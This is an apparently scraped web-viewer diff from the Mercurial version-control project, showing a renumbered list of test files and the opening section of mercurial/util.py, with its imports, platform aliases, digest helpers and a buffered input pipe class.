438 | test-show.t | |
439 | test-simple-update.t |
|
439 | test-simple-update.t | |
440 | test-simplekeyvaluefile.py |
|
440 | test-simplekeyvaluefile.py | |
441 | test-simplemerge.py |
|
441 | test-simplemerge.py | |
442 | test-single-head.t |
|
442 | test-single-head.t | |
443 | test-sparse-clear.t |
|
443 | test-sparse-clear.t | |
444 | test-sparse-clone.t |
|
444 | test-sparse-clone.t | |
445 | test-sparse-import.t |
|
445 | test-sparse-import.t | |
446 | test-sparse-merges.t |
|
446 | test-sparse-merges.t | |
447 | test-sparse-profiles.t |
|
447 | test-sparse-profiles.t | |
448 | test-sparse-requirement.t |
|
448 | test-sparse-requirement.t | |
449 | test-sparse-verbose-json.t |
|
449 | test-sparse-verbose-json.t | |
450 | test-sparse.t |
|
450 | test-sparse.t | |
451 | test-split.t |
|
451 | test-split.t | |
452 | test-ssh-clone-r.t |
|
452 | test-ssh-clone-r.t | |
|
453 | test-ssh-proto-unbundle.t | |||
453 | test-ssh-proto.t |
|
454 | test-ssh-proto.t | |
454 | test-sshserver.py |
|
455 | test-sshserver.py | |
455 | test-stack.t |
|
456 | test-stack.t | |
456 | test-status-inprocess.py |
|
457 | test-status-inprocess.py | |
457 | test-status-rev.t |
|
458 | test-status-rev.t | |
458 | test-status-terse.t |
|
459 | test-status-terse.t | |
459 | test-strict.t |
|
460 | test-strict.t | |
460 | test-strip-cross.t |
|
461 | test-strip-cross.t | |
461 | test-strip.t |
|
462 | test-strip.t | |
462 | test-subrepo-deep-nested-change.t |
|
463 | test-subrepo-deep-nested-change.t | |
463 | test-subrepo-missing.t |
|
464 | test-subrepo-missing.t | |
464 | test-subrepo-paths.t |
|
465 | test-subrepo-paths.t | |
465 | test-subrepo-recursion.t |
|
466 | test-subrepo-recursion.t | |
466 | test-subrepo-relative-path.t |
|
467 | test-subrepo-relative-path.t | |
467 | test-subrepo.t |
|
468 | test-subrepo.t | |
468 | test-symlink-os-yes-fs-no.py |
|
469 | test-symlink-os-yes-fs-no.py | |
469 | test-symlink-placeholder.t |
|
470 | test-symlink-placeholder.t | |
470 | test-symlinks.t |
|
471 | test-symlinks.t | |
471 | test-tag.t |
|
472 | test-tag.t | |
472 | test-tags.t |
|
473 | test-tags.t | |
473 | test-template-engine.t |
|
474 | test-template-engine.t | |
474 | test-template-filters.t |
|
475 | test-template-filters.t | |
475 | test-treemanifest.t |
|
476 | test-treemanifest.t | |
476 | test-ui-color.py |
|
477 | test-ui-color.py | |
477 | test-ui-config.py |
|
478 | test-ui-config.py | |
478 | test-ui-verbosity.py |
|
479 | test-ui-verbosity.py | |
479 | test-unamend.t |
|
480 | test-unamend.t | |
480 | test-uncommit.t |
|
481 | test-uncommit.t | |
481 | test-unified-test.t |
|
482 | test-unified-test.t | |
482 | test-unionrepo.t |
|
483 | test-unionrepo.t | |
483 | test-unrelated-pull.t |
|
484 | test-unrelated-pull.t | |
484 | test-up-local-change.t |
|
485 | test-up-local-change.t | |
485 | test-update-branches.t |
|
486 | test-update-branches.t | |
486 | test-update-dest.t |
|
487 | test-update-dest.t | |
487 | test-update-issue1456.t |
|
488 | test-update-issue1456.t | |
488 | test-update-names.t |
|
489 | test-update-names.t | |
489 | test-update-reverse.t |
|
490 | test-update-reverse.t | |
490 | test-upgrade-repo.t |
|
491 | test-upgrade-repo.t | |
491 | test-url-download.t |
|
492 | test-url-download.t | |
492 | test-url-rev.t |
|
493 | test-url-rev.t | |
493 | test-url.py |
|
494 | test-url.py | |
494 | test-username-newline.t |
|
495 | test-username-newline.t | |
495 | test-verify.t |
|
496 | test-verify.t | |
496 | test-walk.t |
|
497 | test-walk.t | |
497 | test-walkrepo.py |
|
498 | test-walkrepo.py | |
498 | test-websub.t |
|
499 | test-websub.t | |
499 | test-win32text.t |
|
500 | test-win32text.t | |
500 | test-wireproto-clientreactor.py |
|
501 | test-wireproto-clientreactor.py | |
501 | test-wireproto-framing.py |
|
502 | test-wireproto-framing.py | |
502 | test-wireproto-serverreactor.py |
|
503 | test-wireproto-serverreactor.py | |
503 | test-wireproto.py |
|
504 | test-wireproto.py | |
504 | test-wsgirequest.py |
|
505 | test-wsgirequest.py | |
505 | test-xdg.t |
|
506 | test-xdg.t |
@@ -1,3783 +1,3790 b'' | |||||
1 | # util.py - Mercurial utility functions and platform specific implementations |
|
1 | # util.py - Mercurial utility functions and platform specific implementations | |
2 | # |
|
2 | # | |
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> | |
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> | |
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> | |
6 | # |
|
6 | # | |
7 | # This software may be used and distributed according to the terms of the |
|
7 | # This software may be used and distributed according to the terms of the | |
8 | # GNU General Public License version 2 or any later version. |
|
8 | # GNU General Public License version 2 or any later version. | |
9 |
|
9 | |||
10 | """Mercurial utility functions and platform specific implementations. |
|
10 | """Mercurial utility functions and platform specific implementations. | |
11 |
|
11 | |||
12 | This contains helper routines that are independent of the SCM core and |
|
12 | This contains helper routines that are independent of the SCM core and | |
13 | hide platform-specific details from the core. |
|
13 | hide platform-specific details from the core. | |
14 | """ |
|
14 | """ | |
15 |
|
15 | |||
16 | from __future__ import absolute_import, print_function |
|
16 | from __future__ import absolute_import, print_function | |
17 |
|
17 | |||
18 | import abc |
|
18 | import abc | |
19 | import bz2 |
|
19 | import bz2 | |
20 | import collections |
|
20 | import collections | |
21 | import contextlib |
|
21 | import contextlib | |
22 | import errno |
|
22 | import errno | |
23 | import gc |
|
23 | import gc | |
24 | import hashlib |
|
24 | import hashlib | |
25 | import itertools |
|
25 | import itertools | |
26 | import mmap |
|
26 | import mmap | |
27 | import os |
|
27 | import os | |
28 | import platform as pyplatform |
|
28 | import platform as pyplatform | |
29 | import re as remod |
|
29 | import re as remod | |
30 | import shutil |
|
30 | import shutil | |
31 | import socket |
|
31 | import socket | |
32 | import stat |
|
32 | import stat | |
33 | import sys |
|
33 | import sys | |
34 | import time |
|
34 | import time | |
35 | import traceback |
|
35 | import traceback | |
36 | import warnings |
|
36 | import warnings | |
37 | import zlib |
|
37 | import zlib | |
38 |
|
38 | |||
39 | from . import ( |
|
39 | from . import ( | |
40 | encoding, |
|
40 | encoding, | |
41 | error, |
|
41 | error, | |
42 | i18n, |
|
42 | i18n, | |
43 | node as nodemod, |
|
43 | node as nodemod, | |
44 | policy, |
|
44 | policy, | |
45 | pycompat, |
|
45 | pycompat, | |
46 | urllibcompat, |
|
46 | urllibcompat, | |
47 | ) |
|
47 | ) | |
48 | from .utils import ( |
|
48 | from .utils import ( | |
49 | procutil, |
|
49 | procutil, | |
50 | stringutil, |
|
50 | stringutil, | |
51 | ) |
|
51 | ) | |
52 |
|
52 | |||
53 | base85 = policy.importmod(r'base85') |
|
53 | base85 = policy.importmod(r'base85') | |
54 | osutil = policy.importmod(r'osutil') |
|
54 | osutil = policy.importmod(r'osutil') | |
55 | parsers = policy.importmod(r'parsers') |
|
55 | parsers = policy.importmod(r'parsers') | |
56 |
|
56 | |||
57 | b85decode = base85.b85decode |
|
57 | b85decode = base85.b85decode | |
58 | b85encode = base85.b85encode |
|
58 | b85encode = base85.b85encode | |
59 |
|
59 | |||
60 | cookielib = pycompat.cookielib |
|
60 | cookielib = pycompat.cookielib | |
61 | httplib = pycompat.httplib |
|
61 | httplib = pycompat.httplib | |
62 | pickle = pycompat.pickle |
|
62 | pickle = pycompat.pickle | |
63 | safehasattr = pycompat.safehasattr |
|
63 | safehasattr = pycompat.safehasattr | |
64 | socketserver = pycompat.socketserver |
|
64 | socketserver = pycompat.socketserver | |
65 | bytesio = pycompat.bytesio |
|
65 | bytesio = pycompat.bytesio | |
66 | # TODO deprecate stringio name, as it is a lie on Python 3. |
|
66 | # TODO deprecate stringio name, as it is a lie on Python 3. | |
67 | stringio = bytesio |
|
67 | stringio = bytesio | |
68 | xmlrpclib = pycompat.xmlrpclib |
|
68 | xmlrpclib = pycompat.xmlrpclib | |
69 |
|
69 | |||
70 | httpserver = urllibcompat.httpserver |
|
70 | httpserver = urllibcompat.httpserver | |
71 | urlerr = urllibcompat.urlerr |
|
71 | urlerr = urllibcompat.urlerr | |
72 | urlreq = urllibcompat.urlreq |
|
72 | urlreq = urllibcompat.urlreq | |
73 |
|
73 | |||
74 | # workaround for win32mbcs |
|
74 | # workaround for win32mbcs | |
75 | _filenamebytestr = pycompat.bytestr |
|
75 | _filenamebytestr = pycompat.bytestr | |
76 |
|
76 | |||
77 | if pycompat.iswindows: |
|
77 | if pycompat.iswindows: | |
78 | from . import windows as platform |
|
78 | from . import windows as platform | |
79 | else: |
|
79 | else: | |
80 | from . import posix as platform |
|
80 | from . import posix as platform | |
81 |
|
81 | |||
82 | _ = i18n._ |
|
82 | _ = i18n._ | |
83 |
|
83 | |||
84 | bindunixsocket = platform.bindunixsocket |
|
84 | bindunixsocket = platform.bindunixsocket | |
85 | cachestat = platform.cachestat |
|
85 | cachestat = platform.cachestat | |
86 | checkexec = platform.checkexec |
|
86 | checkexec = platform.checkexec | |
87 | checklink = platform.checklink |
|
87 | checklink = platform.checklink | |
88 | copymode = platform.copymode |
|
88 | copymode = platform.copymode | |
89 | expandglobs = platform.expandglobs |
|
89 | expandglobs = platform.expandglobs | |
90 | getfsmountpoint = platform.getfsmountpoint |
|
90 | getfsmountpoint = platform.getfsmountpoint | |
91 | getfstype = platform.getfstype |
|
91 | getfstype = platform.getfstype | |
92 | groupmembers = platform.groupmembers |
|
92 | groupmembers = platform.groupmembers | |
93 | groupname = platform.groupname |
|
93 | groupname = platform.groupname | |
94 | isexec = platform.isexec |
|
94 | isexec = platform.isexec | |
95 | isowner = platform.isowner |
|
95 | isowner = platform.isowner | |
96 | listdir = osutil.listdir |
|
96 | listdir = osutil.listdir | |
97 | localpath = platform.localpath |
|
97 | localpath = platform.localpath | |
98 | lookupreg = platform.lookupreg |
|
98 | lookupreg = platform.lookupreg | |
99 | makedir = platform.makedir |
|
99 | makedir = platform.makedir | |
100 | nlinks = platform.nlinks |
|
100 | nlinks = platform.nlinks | |
101 | normpath = platform.normpath |
|
101 | normpath = platform.normpath | |
102 | normcase = platform.normcase |
|
102 | normcase = platform.normcase | |
103 | normcasespec = platform.normcasespec |
|
103 | normcasespec = platform.normcasespec | |
104 | normcasefallback = platform.normcasefallback |
|
104 | normcasefallback = platform.normcasefallback | |
105 | openhardlinks = platform.openhardlinks |
|
105 | openhardlinks = platform.openhardlinks | |
106 | oslink = platform.oslink |
|
106 | oslink = platform.oslink | |
107 | parsepatchoutput = platform.parsepatchoutput |
|
107 | parsepatchoutput = platform.parsepatchoutput | |
108 | pconvert = platform.pconvert |
|
108 | pconvert = platform.pconvert | |
109 | poll = platform.poll |
|
109 | poll = platform.poll | |
110 | posixfile = platform.posixfile |
|
110 | posixfile = platform.posixfile | |
111 | rename = platform.rename |
|
111 | rename = platform.rename | |
112 | removedirs = platform.removedirs |
|
112 | removedirs = platform.removedirs | |
113 | samedevice = platform.samedevice |
|
113 | samedevice = platform.samedevice | |
114 | samefile = platform.samefile |
|
114 | samefile = platform.samefile | |
115 | samestat = platform.samestat |
|
115 | samestat = platform.samestat | |
116 | setflags = platform.setflags |
|
116 | setflags = platform.setflags | |
117 | split = platform.split |
|
117 | split = platform.split | |
118 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
118 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) | |
119 | statisexec = platform.statisexec |
|
119 | statisexec = platform.statisexec | |
120 | statislink = platform.statislink |
|
120 | statislink = platform.statislink | |
121 | umask = platform.umask |
|
121 | umask = platform.umask | |
122 | unlink = platform.unlink |
|
122 | unlink = platform.unlink | |
123 | username = platform.username |
|
123 | username = platform.username | |
124 |
|
124 | |||
125 | try: |
|
125 | try: | |
126 | recvfds = osutil.recvfds |
|
126 | recvfds = osutil.recvfds | |
127 | except AttributeError: |
|
127 | except AttributeError: | |
128 | pass |
|
128 | pass | |
129 |
|
129 | |||
130 | # Python compatibility |
|
130 | # Python compatibility | |
131 |
|
131 | |||
132 | _notset = object() |
|
132 | _notset = object() | |
133 |
|
133 | |||
134 | def _rapply(f, xs): |
|
134 | def _rapply(f, xs): | |
135 | if xs is None: |
|
135 | if xs is None: | |
136 | # assume None means non-value of optional data |
|
136 | # assume None means non-value of optional data | |
137 | return xs |
|
137 | return xs | |
138 | if isinstance(xs, (list, set, tuple)): |
|
138 | if isinstance(xs, (list, set, tuple)): | |
139 | return type(xs)(_rapply(f, x) for x in xs) |
|
139 | return type(xs)(_rapply(f, x) for x in xs) | |
140 | if isinstance(xs, dict): |
|
140 | if isinstance(xs, dict): | |
141 | return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items()) |
|
141 | return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items()) | |
142 | return f(xs) |
|
142 | return f(xs) | |
143 |
|
143 | |||
144 | def rapply(f, xs): |
|
144 | def rapply(f, xs): | |
145 | """Apply function recursively to every item preserving the data structure |
|
145 | """Apply function recursively to every item preserving the data structure | |
146 |
|
146 | |||
147 | >>> def f(x): |
|
147 | >>> def f(x): | |
148 | ... return 'f(%s)' % x |
|
148 | ... return 'f(%s)' % x | |
149 | >>> rapply(f, None) is None |
|
149 | >>> rapply(f, None) is None | |
150 | True |
|
150 | True | |
151 | >>> rapply(f, 'a') |
|
151 | >>> rapply(f, 'a') | |
152 | 'f(a)' |
|
152 | 'f(a)' | |
153 | >>> rapply(f, {'a'}) == {'f(a)'} |
|
153 | >>> rapply(f, {'a'}) == {'f(a)'} | |
154 | True |
|
154 | True | |
155 | >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []]) |
|
155 | >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []]) | |
156 | ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []] |
|
156 | ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []] | |
157 |
|
157 | |||
158 | >>> xs = [object()] |
|
158 | >>> xs = [object()] | |
159 | >>> rapply(pycompat.identity, xs) is xs |
|
159 | >>> rapply(pycompat.identity, xs) is xs | |
160 | True |
|
160 | True | |
161 | """ |
|
161 | """ | |
162 | if f is pycompat.identity: |
|
162 | if f is pycompat.identity: | |
163 | # fast path mainly for py2 |
|
163 | # fast path mainly for py2 | |
164 | return xs |
|
164 | return xs | |
165 | return _rapply(f, xs) |
|
165 | return _rapply(f, xs) | |
166 |
|
166 | |||
167 | def bitsfrom(container): |
|
167 | def bitsfrom(container): | |
168 | bits = 0 |
|
168 | bits = 0 | |
169 | for bit in container: |
|
169 | for bit in container: | |
170 | bits |= bit |
|
170 | bits |= bit | |
171 | return bits |
|
171 | return bits | |
172 |
|
172 | |||
173 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
173 | # python 2.6 still have deprecation warning enabled by default. We do not want | |
174 | # to display anything to standard user so detect if we are running test and |
|
174 | # to display anything to standard user so detect if we are running test and | |
175 | # only use python deprecation warning in this case. |
|
175 | # only use python deprecation warning in this case. | |
176 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
|
176 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) | |
177 | if _dowarn: |
|
177 | if _dowarn: | |
178 | # explicitly unfilter our warning for python 2.7 |
|
178 | # explicitly unfilter our warning for python 2.7 | |
179 | # |
|
179 | # | |
180 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
180 | # The option of setting PYTHONWARNINGS in the test runner was investigated. | |
181 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
181 | # However, module name set through PYTHONWARNINGS was exactly matched, so | |
182 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
182 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This | |
183 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
183 | # makes the whole PYTHONWARNINGS thing useless for our usecase. | |
184 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
|
184 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') | |
185 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
|
185 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') | |
186 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
|
186 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') | |
187 | if _dowarn and pycompat.ispy3: |
|
187 | if _dowarn and pycompat.ispy3: | |
188 | # silence warning emitted by passing user string to re.sub() |
|
188 | # silence warning emitted by passing user string to re.sub() | |
189 | warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning, |
|
189 | warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning, | |
190 | r'mercurial') |
|
190 | r'mercurial') | |
191 | warnings.filterwarnings(r'ignore', r'invalid escape sequence', |
|
191 | warnings.filterwarnings(r'ignore', r'invalid escape sequence', | |
192 | DeprecationWarning, r'mercurial') |
|
192 | DeprecationWarning, r'mercurial') | |
193 | # TODO: reinvent imp.is_frozen() |
|
193 | # TODO: reinvent imp.is_frozen() | |
194 | warnings.filterwarnings(r'ignore', r'the imp module is deprecated', |
|
194 | warnings.filterwarnings(r'ignore', r'the imp module is deprecated', | |
195 | DeprecationWarning, r'mercurial') |
|
195 | DeprecationWarning, r'mercurial') | |
196 |
|
196 | |||
197 | def nouideprecwarn(msg, version, stacklevel=1): |
|
197 | def nouideprecwarn(msg, version, stacklevel=1): | |
198 | """Issue an python native deprecation warning |
|
198 | """Issue an python native deprecation warning | |
199 |
|
199 | |||
200 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
200 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. | |
201 | """ |
|
201 | """ | |
202 | if _dowarn: |
|
202 | if _dowarn: | |
203 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
203 | msg += ("\n(compatibility will be dropped after Mercurial-%s," | |
204 | " update your code.)") % version |
|
204 | " update your code.)") % version | |
205 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
|
205 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) | |
206 |
|
206 | |||
207 | DIGESTS = { |
|
207 | DIGESTS = { | |
208 | 'md5': hashlib.md5, |
|
208 | 'md5': hashlib.md5, | |
209 | 'sha1': hashlib.sha1, |
|
209 | 'sha1': hashlib.sha1, | |
210 | 'sha512': hashlib.sha512, |
|
210 | 'sha512': hashlib.sha512, | |
211 | } |
|
211 | } | |
212 | # List of digest types from strongest to weakest |
|
212 | # List of digest types from strongest to weakest | |
213 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
|
213 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] | |
214 |
|
214 | |||
215 | for k in DIGESTS_BY_STRENGTH: |
|
215 | for k in DIGESTS_BY_STRENGTH: | |
216 | assert k in DIGESTS |
|
216 | assert k in DIGESTS | |
217 |
|
217 | |||
218 | class digester(object): |
|
218 | class digester(object): | |
219 | """helper to compute digests. |
|
219 | """helper to compute digests. | |
220 |
|
220 | |||
221 | This helper can be used to compute one or more digests given their name. |
|
221 | This helper can be used to compute one or more digests given their name. | |
222 |
|
222 | |||
223 | >>> d = digester([b'md5', b'sha1']) |
|
223 | >>> d = digester([b'md5', b'sha1']) | |
224 | >>> d.update(b'foo') |
|
224 | >>> d.update(b'foo') | |
225 | >>> [k for k in sorted(d)] |
|
225 | >>> [k for k in sorted(d)] | |
226 | ['md5', 'sha1'] |
|
226 | ['md5', 'sha1'] | |
227 | >>> d[b'md5'] |
|
227 | >>> d[b'md5'] | |
228 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
228 | 'acbd18db4cc2f85cedef654fccc4a4d8' | |
229 | >>> d[b'sha1'] |
|
229 | >>> d[b'sha1'] | |
230 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
230 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' | |
231 | >>> digester.preferred([b'md5', b'sha1']) |
|
231 | >>> digester.preferred([b'md5', b'sha1']) | |
232 | 'sha1' |
|
232 | 'sha1' | |
233 | """ |
|
233 | """ | |
234 |
|
234 | |||
235 | def __init__(self, digests, s=''): |
|
235 | def __init__(self, digests, s=''): | |
236 | self._hashes = {} |
|
236 | self._hashes = {} | |
237 | for k in digests: |
|
237 | for k in digests: | |
238 | if k not in DIGESTS: |
|
238 | if k not in DIGESTS: | |
239 | raise error.Abort(_('unknown digest type: %s') % k) |
|
239 | raise error.Abort(_('unknown digest type: %s') % k) | |
240 | self._hashes[k] = DIGESTS[k]() |
|
240 | self._hashes[k] = DIGESTS[k]() | |
241 | if s: |
|
241 | if s: | |
242 | self.update(s) |
|
242 | self.update(s) | |
243 |
|
243 | |||
244 | def update(self, data): |
|
244 | def update(self, data): | |
245 | for h in self._hashes.values(): |
|
245 | for h in self._hashes.values(): | |
246 | h.update(data) |
|
246 | h.update(data) | |
247 |
|
247 | |||
248 | def __getitem__(self, key): |
|
248 | def __getitem__(self, key): | |
249 | if key not in DIGESTS: |
|
249 | if key not in DIGESTS: | |
250 | raise error.Abort(_('unknown digest type: %s') % k) |
|
250 | raise error.Abort(_('unknown digest type: %s') % k) | |
251 | return nodemod.hex(self._hashes[key].digest()) |
|
251 | return nodemod.hex(self._hashes[key].digest()) | |
252 |
|
252 | |||
253 | def __iter__(self): |
|
253 | def __iter__(self): | |
254 | return iter(self._hashes) |
|
254 | return iter(self._hashes) | |
255 |
|
255 | |||
256 | @staticmethod |
|
256 | @staticmethod | |
257 | def preferred(supported): |
|
257 | def preferred(supported): | |
258 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
258 | """returns the strongest digest type in both supported and DIGESTS.""" | |
259 |
|
259 | |||
260 | for k in DIGESTS_BY_STRENGTH: |
|
260 | for k in DIGESTS_BY_STRENGTH: | |
261 | if k in supported: |
|
261 | if k in supported: | |
262 | return k |
|
262 | return k | |
263 | return None |
|
263 | return None | |
264 |
|
264 | |||
265 | class digestchecker(object): |
|
265 | class digestchecker(object): | |
266 | """file handle wrapper that additionally checks content against a given |
|
266 | """file handle wrapper that additionally checks content against a given | |
267 | size and digests. |
|
267 | size and digests. | |
268 |
|
268 | |||
269 | d = digestchecker(fh, size, {'md5': '...'}) |
|
269 | d = digestchecker(fh, size, {'md5': '...'}) | |
270 |
|
270 | |||
271 | When multiple digests are given, all of them are validated. |
|
271 | When multiple digests are given, all of them are validated. | |
272 | """ |
|
272 | """ | |
273 |
|
273 | |||
274 | def __init__(self, fh, size, digests): |
|
274 | def __init__(self, fh, size, digests): | |
275 | self._fh = fh |
|
275 | self._fh = fh | |
276 | self._size = size |
|
276 | self._size = size | |
277 | self._got = 0 |
|
277 | self._got = 0 | |
278 | self._digests = dict(digests) |
|
278 | self._digests = dict(digests) | |
279 | self._digester = digester(self._digests.keys()) |
|
279 | self._digester = digester(self._digests.keys()) | |
280 |
|
280 | |||
281 | def read(self, length=-1): |
|
281 | def read(self, length=-1): | |
282 | content = self._fh.read(length) |
|
282 | content = self._fh.read(length) | |
283 | self._digester.update(content) |
|
283 | self._digester.update(content) | |
284 | self._got += len(content) |
|
284 | self._got += len(content) | |
285 | return content |
|
285 | return content | |
286 |
|
286 | |||
287 | def validate(self): |
|
287 | def validate(self): | |
288 | if self._size != self._got: |
|
288 | if self._size != self._got: | |
289 | raise error.Abort(_('size mismatch: expected %d, got %d') % |
|
289 | raise error.Abort(_('size mismatch: expected %d, got %d') % | |
290 | (self._size, self._got)) |
|
290 | (self._size, self._got)) | |
291 | for k, v in self._digests.items(): |
|
291 | for k, v in self._digests.items(): | |
292 | if v != self._digester[k]: |
|
292 | if v != self._digester[k]: | |
293 | # i18n: first parameter is a digest name |
|
293 | # i18n: first parameter is a digest name | |
294 | raise error.Abort(_('%s mismatch: expected %s, got %s') % |
|
294 | raise error.Abort(_('%s mismatch: expected %s, got %s') % | |
295 | (k, v, self._digester[k])) |
|
295 | (k, v, self._digester[k])) | |
296 |
|
296 | |||
297 | try: |
|
297 | try: | |
298 | buffer = buffer |
|
298 | buffer = buffer | |
299 | except NameError: |
|
299 | except NameError: | |
300 | def buffer(sliceable, offset=0, length=None): |
|
300 | def buffer(sliceable, offset=0, length=None): | |
301 | if length is not None: |
|
301 | if length is not None: | |
302 | return memoryview(sliceable)[offset:offset + length] |
|
302 | return memoryview(sliceable)[offset:offset + length] | |
303 | return memoryview(sliceable)[offset:] |
|
303 | return memoryview(sliceable)[offset:] | |
304 |
|
304 | |||
305 | _chunksize = 4096 |
|
305 | _chunksize = 4096 | |
306 |
|
306 | |||
307 | class bufferedinputpipe(object): |
|
307 | class bufferedinputpipe(object): | |
308 | """a manually buffered input pipe |
|
308 | """a manually buffered input pipe | |
309 |
|
309 | |||
310 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
310 | Python will not let us use buffered IO and lazy reading with 'polling' at | |
311 | the same time. We cannot probe the buffer state and select will not detect |
|
311 | the same time. We cannot probe the buffer state and select will not detect | |
312 | that data are ready to read if they are already buffered. |
|
312 | that data are ready to read if they are already buffered. | |
313 |
|
313 | |||
314 | This class let us work around that by implementing its own buffering |
|
314 | This class let us work around that by implementing its own buffering | |
315 | (allowing efficient readline) while offering a way to know if the buffer is |
|
315 | (allowing efficient readline) while offering a way to know if the buffer is | |
316 | empty from the output (allowing collaboration of the buffer with polling). |
|
316 | empty from the output (allowing collaboration of the buffer with polling). | |
317 |
|
317 | |||
318 | This class lives in the 'util' module because it makes use of the 'os' |
|
318 | This class lives in the 'util' module because it makes use of the 'os' | |
319 | module from the python stdlib. |
|
319 | module from the python stdlib. | |
320 | """ |
|
320 | """ | |
321 | def __new__(cls, fh): |
|
321 | def __new__(cls, fh): | |
322 | # If we receive a fileobjectproxy, we need to use a variation of this |
|
322 | # If we receive a fileobjectproxy, we need to use a variation of this | |
323 | # class that notifies observers about activity. |
|
323 | # class that notifies observers about activity. | |
324 | if isinstance(fh, fileobjectproxy): |
|
324 | if isinstance(fh, fileobjectproxy): | |
325 | cls = observedbufferedinputpipe |
|
325 | cls = observedbufferedinputpipe | |
326 |
|
326 | |||
327 | return super(bufferedinputpipe, cls).__new__(cls) |
|
327 | return super(bufferedinputpipe, cls).__new__(cls) | |
328 |
|
328 | |||
329 | def __init__(self, input): |
|
329 | def __init__(self, input): | |
330 | self._input = input |
|
330 | self._input = input | |
331 | self._buffer = [] |
|
331 | self._buffer = [] | |
332 | self._eof = False |
|
332 | self._eof = False | |
333 | self._lenbuf = 0 |
|
333 | self._lenbuf = 0 | |
334 |
|
334 | |||
335 | @property |
|
335 | @property | |
336 | def hasbuffer(self): |
|
336 | def hasbuffer(self): | |
337 | """True is any data is currently buffered |
|
337 | """True is any data is currently buffered | |
338 |
|
338 | |||
339 | This will be used externally a pre-step for polling IO. If there is |
|
339 | This will be used externally a pre-step for polling IO. If there is | |
340 | already data then no polling should be set in place.""" |
|
340 | already data then no polling should be set in place.""" | |
341 | return bool(self._buffer) |
|
341 | return bool(self._buffer) | |
342 |
|
342 | |||
343 | @property |
|
343 | @property | |
344 | def closed(self): |
|
344 | def closed(self): | |
345 | return self._input.closed |
|
345 | return self._input.closed | |
346 |
|
346 | |||
347 | def fileno(self): |
|
347 | def fileno(self): | |
348 | return self._input.fileno() |
|
348 | return self._input.fileno() | |
349 |
|
349 | |||
350 | def close(self): |
|
350 | def close(self): | |
351 | return self._input.close() |
|
351 | return self._input.close() | |
352 |
|
352 | |||
353 | def read(self, size): |
|
353 | def read(self, size): | |
354 | while (not self._eof) and (self._lenbuf < size): |
|
354 | while (not self._eof) and (self._lenbuf < size): | |
355 | self._fillbuffer() |
|
355 | self._fillbuffer() | |
356 | return self._frombuffer(size) |
|
356 | return self._frombuffer(size) | |
357 |
|
357 | |||
358 | def readline(self, *args, **kwargs): |
|
358 | def readline(self, *args, **kwargs): | |
359 | if 1 < len(self._buffer): |
|
359 | if 1 < len(self._buffer): | |
360 | # this should not happen because both read and readline end with a |
|
360 | # this should not happen because both read and readline end with a | |
361 | # _frombuffer call that collapse it. |
|
361 | # _frombuffer call that collapse it. | |
362 | self._buffer = [''.join(self._buffer)] |
|
362 | self._buffer = [''.join(self._buffer)] | |
363 | self._lenbuf = len(self._buffer[0]) |
|
363 | self._lenbuf = len(self._buffer[0]) | |
364 | lfi = -1 |
|
364 | lfi = -1 | |
365 | if self._buffer: |
|
365 | if self._buffer: | |
366 | lfi = self._buffer[-1].find('\n') |
|
366 | lfi = self._buffer[-1].find('\n') | |
367 | while (not self._eof) and lfi < 0: |
|
367 | while (not self._eof) and lfi < 0: | |
368 | self._fillbuffer() |
|
368 | self._fillbuffer() | |
369 | if self._buffer: |
|
369 | if self._buffer: | |
370 | lfi = self._buffer[-1].find('\n') |
|
370 | lfi = self._buffer[-1].find('\n') | |
371 | size = lfi + 1 |
|
371 | size = lfi + 1 | |
372 | if lfi < 0: # end of file |
|
372 | if lfi < 0: # end of file | |
373 | size = self._lenbuf |
|
373 | size = self._lenbuf | |
374 | elif 1 < len(self._buffer): |
|
374 | elif 1 < len(self._buffer): | |
375 | # we need to take previous chunks into account |
|
375 | # we need to take previous chunks into account | |
376 | size += self._lenbuf - len(self._buffer[-1]) |
|
376 | size += self._lenbuf - len(self._buffer[-1]) | |
377 | return self._frombuffer(size) |
|
377 | return self._frombuffer(size) | |
378 |
|
378 | |||
